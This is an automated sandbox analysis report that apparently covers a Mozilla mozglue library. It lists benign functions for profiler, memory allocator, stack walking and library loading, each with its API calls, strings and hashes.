Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C
Part of subcall function 6C5B5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
Part of subcall function 6C5B5E60: GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
Part of subcall function 6C5B5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27
Part of subcall function 6C5B5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F53
Part of subcall function 6C5B5E60: GetCurrentThread.KERNEL32 ref: 6C5B5F5C
Part of subcall function 6C5B5E60: GetCurrentProcess.KERNEL32 ref: 6C5B5F66
Part of subcall function 6C5B5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E

free.MOZGLUE(?), ref: 6C5EF9C5
free.MOZGLUE(?), ref: 6C5EF9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6C5EF9A6
Thread , xrefs: 6C5EF789
[D %d/%d] profiler_register_thread(%s), xrefs: 6C5EF71F
" attempted to re-register as ", xrefs: 6C5EF858

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction ID: 488dc76d27e11a44d6bbb42f8ababecb44f75b6518541091df13282c4ebfe0a9
Opcode Fuzzy Hash: 5bc0720ddb7945827e735d21d03b0c5cdb327e011554b325365b11191bf233ed
Instruction Fuzzy Hash: 22811371A04200DFDB00DF65DC80AAEB7B5EFC9308F40456DE8869BB51EB34AC49CB92

Function 6C5EEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEE60
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE6D
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EEEA5
CloseHandle.KERNEL32(?), ref: 6C5EEEB4
free.MOZGLUE(00000000), ref: 6C5EEEBB
GetCurrentThreadId.KERNEL32 ref: 6C5EEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEECF

Part of subcall function 6C5EDE60: GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
Part of subcall function 6C5EDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B
Part of subcall function 6C5EDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
Part of subcall function 6C5EDE60: free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
Part of subcall function 6C5EDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

GetCurrentThreadId.KERNEL32 ref: 6C5EEF1E
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF2B
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEF59
GetCurrentThreadId.KERNEL32 ref: 6C5EEFB0
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFBD
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EEFE1
GetCurrentThreadId.KERNEL32 ref: 6C5EEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EF000

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C5EF02F

Part of subcall function 6C5EF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5EF09B
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C5EF0AC
Part of subcall function 6C5EF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C5EF0BE

Strings

[I %d/%d] profiler_stop, xrefs: 6C5EEED7
[I %d/%d] profiler_pause, xrefs: 6C5EF008

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction ID: 172177a8a43190cfbaa3514cbc59d34977cd7b9451b6a9ebd098c94da342b9c6
Opcode Fuzzy Hash: d347387d18bc8e9a24d58b264f266c6432058a6b791cc7962174517bcfbff507
Instruction Fuzzy Hash: 1D51FA71600220DFDB009F66DC88B9577B8EF8A358F100A25ED2683B41DBBD5805CBAF

Function 6C5DD010 Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 215COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C62E804), ref: 6C5DD047
GetSystemInfo.KERNEL32(?), ref: 6C5DD093
__Init_thread_footer.LIBCMT ref: 6C5DD0A6
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C62E810,00000040), ref: 6C5DD0D0
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7B8,00001388), ref: 6C5DD147
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E744,00001388), ref: 6C5DD162
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E784,00001388), ref: 6C5DD18D
InitializeCriticalSectionAndSpinCount.KERNEL32(6C62E7DC,00001388), ref: 6C5DD1B1

Strings

<jemalloc>, xrefs: 6C5DD268, 6C5DD311
MALLOC_OPTIONS, xrefs: 6C5DD0CB
MOZ_CRASH(), xrefs: 6C5DD277
Compile-time page size does not divide the runtime one., xrefs: 6C5DD26D
: (malloc) Unsupported character in malloc options: ', xrefs: 6C5DD322

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()
API String ID: 2957312145-326518326
Opcode ID: 0eab623a80bbb85e0a20f468f38bf53e6c26bb29b4dc454f711cc4ba2cfd2a5d
Instruction ID: 4c71637b38a5332d0e8829e1de787c8766cad640ee74136df4288f0353e2da40
Opcode Fuzzy Hash: 0eab623a80bbb85e0a20f468f38bf53e6c26bb29b4dc454f711cc4ba2cfd2a5d
Instruction Fuzzy Hash: 7481AF70A453019BEB00DFBACC94AA977B5EB86305F11053AE94297B80D77DA805CFAD

Function 6C5B7FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C5B8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C5B801D

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C5B802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C5B803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C5B808D

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C5B809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5B80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C5B8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C5B8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C5B8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C5B817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5B8199

Strings

0>^l, xrefs: 6C5B811E

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>^l
API String ID: 2721933968-2678502030
Opcode ID: 87141d81db1ebc98e4aab2fd0f811e19727365ff98048a8ba72d9b2fdd528d7c
Instruction ID: b237d2fdcfbdf3c97cbb2410b6f3dd2c5a2415732a7c14bb23d275ac6f3677f8
Opcode Fuzzy Hash: 87141d81db1ebc98e4aab2fd0f811e19727365ff98048a8ba72d9b2fdd528d7c
Instruction Fuzzy Hash: 825186B1E00115ABDF00DBA9DC84AEFBBB9EF89264F140125E815F7741E735AD048BA6

Function 6C5B5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5E9D

Part of subcall function 6C5C5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B85
Part of subcall function 6C5C5B50: EnterCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5B90
Part of subcall function 6C5C5B50: LeaveCriticalSection.KERNEL32(6C62F688,?,?,?,6C5C56EE,?,00000001), ref: 6C5C5BD8
Part of subcall function 6C5C5B50: GetTickCount64.KERNEL32 ref: 6C5C5BE4

GetCurrentThreadId.KERNEL32 ref: 6C5B5EAB
GetCurrentThreadId.KERNEL32 ref: 6C5B5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5B5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C5B6017

Part of subcall function 6C5A4310: moz_xmalloc.MOZGLUE(00000010,?,6C5A42D2), ref: 6C5A436A
Part of subcall function 6C5A4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C5A42D2), ref: 6C5A4387

moz_xmalloc.MOZGLUE(00000004), ref: 6C5B5F47
GetCurrentProcess.KERNEL32 ref: 6C5B5F53
GetCurrentThread.KERNEL32 ref: 6C5B5F5C
GetCurrentProcess.KERNEL32 ref: 6C5B5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C5B5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C5B5F27

Part of subcall function 6C5BCA10: mozalloc_abort.MOZGLUE(?), ref: 6C5BCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B5E8C

Part of subcall function 6C5BCA10: malloc.MOZGLUE(?), ref: 6C5BCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C5B55E1), ref: 6C5B60CC

Strings

GeckoMain, xrefs: 6C5B5ECE, 6C5B6015

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction ID: 9686039008196e16fdede45e9eb6a355864f811db17045e49d1cdd61a471e426
Opcode Fuzzy Hash: bc8a66d3f4e5879e9053ca4d6552303308d189544a1ecc2152a51cc8daffefdc
Instruction Fuzzy Hash: A871CFB0A04740DFD704DF29C890A6ABBF0FF8A304F54496DE58697B42DB75E848CB96

Function 6C5B9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C5A3217
Part of subcall function 6C5A31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C5A3236
Part of subcall function 6C5A31C0: FreeLibrary.KERNEL32 ref: 6C5A324B
Part of subcall function 6C5A31C0: __Init_thread_footer.LIBCMT ref: 6C5A3260
Part of subcall function 6C5A31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C5A327F
Part of subcall function 6C5A31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A328E
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32AB
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C5A32D1
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A32E5
Part of subcall function 6C5A31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5A32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

NtMapViewOfSection, xrefs: 6C5B9701
MapViewOfFileNuma2, xrefs: 6C5B97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
ntdll.dll, xrefs: 6C5B96E3

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction ID: d55b47565fee14a58791fc922627726d36049c56a61cbc801af5ab2cdb497dc1
Opcode Fuzzy Hash: 785070c44e9d77c3265306a62cc6707f3e27218ecb76c7aa985ac09ace800631
Instruction Fuzzy Hash: CE61D371600311DBDF00CF6AECE4B9A7FB1EB8A314F104529E995A7780D738A845CF9A

Function 6C606660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C62F618), ref: 6C606694
GetThreadId.KERNEL32(?), ref: 6C6066B1
GetCurrentThreadId.KERNEL32 ref: 6C6066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6066E1
EnterCriticalSection.KERNEL32(6C62F618), ref: 6C606734
GetCurrentProcess.KERNEL32 ref: 6C60673A
LeaveCriticalSection.KERNEL32(6C62F618), ref: 6C60676C
GetCurrentThread.KERNEL32 ref: 6C6067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C606868
RtlCaptureContext.NTDLL ref: 6C60687F

Strings

WalkStack64, xrefs: 6C606890

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction ID: 2e30eb97275442ed5e4bae0b4d3720e09072db7c547d5cf06e448291e5cb3795
Opcode Fuzzy Hash: 98a9c8c257e3cce7053adf66fad7fe344b49fb5cc88fd305a473a21984d4e6fc
Instruction Fuzzy Hash: 4251DD71A09300AFD715CF25C984B9ABBF4FF89714F00492DF999A7640D774E848CB9A

Function 6C5EDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EDE73
GetCurrentThreadId.KERNEL32 ref: 6C5EDF7D
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDF8A
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EDFC9
GetCurrentThreadId.KERNEL32 ref: 6C5EDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C5B4A68), ref: 6C5EDE7B

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C5B4A68), ref: 6C5EDEB8
free.MOZGLUE(00000000,?,6C5B4A68), ref: 6C5EDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C5EDF38

Strings

<none>, xrefs: 6C5EDFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C5EE00E
[I %d/%d] locked_profiler_stop, xrefs: 6C5EDE83

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664033619.000000006C62E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2664062340.000000006C632000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction ID: 3e2b67d5da2fc55c59b8306ab98f0e3f3a857da6d6d28b4699875a0216e51dc2
Opcode Fuzzy Hash: f944cdc6bc340e3db7fb3751c85bf89fcc0545df2f0977463ef60acbccfbd20b
Instruction Fuzzy Hash: B841E571B012209BDB109F66CC88BAA7775EFC9318F140015E91597B02CB79AC05CBEA

Function 6C5FD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5FD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD918
GetCurrentThreadId.KERNEL32 ref: 6C5FD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD970
GetCurrentThreadId.KERNEL32 ref: 6C5FD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FDA2E
GetCurrentThreadId.KERNEL32 ref: 6C5FDA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FDA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C5FDA91

Part of subcall function 6C5C5C50: GetTickCount64.KERNEL32 ref: 6C5C5D40
Part of subcall function 6C5C5C50: EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C5D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FDAB7

Memory Dump Source

Source File: 00000000.00000002.2663913538.000000006C5A1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2663863887.000000006C5A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000000.00000002.2663999477.000000006C61D000.00000002.00000001.01000000.0000000B.sdmpDownload File
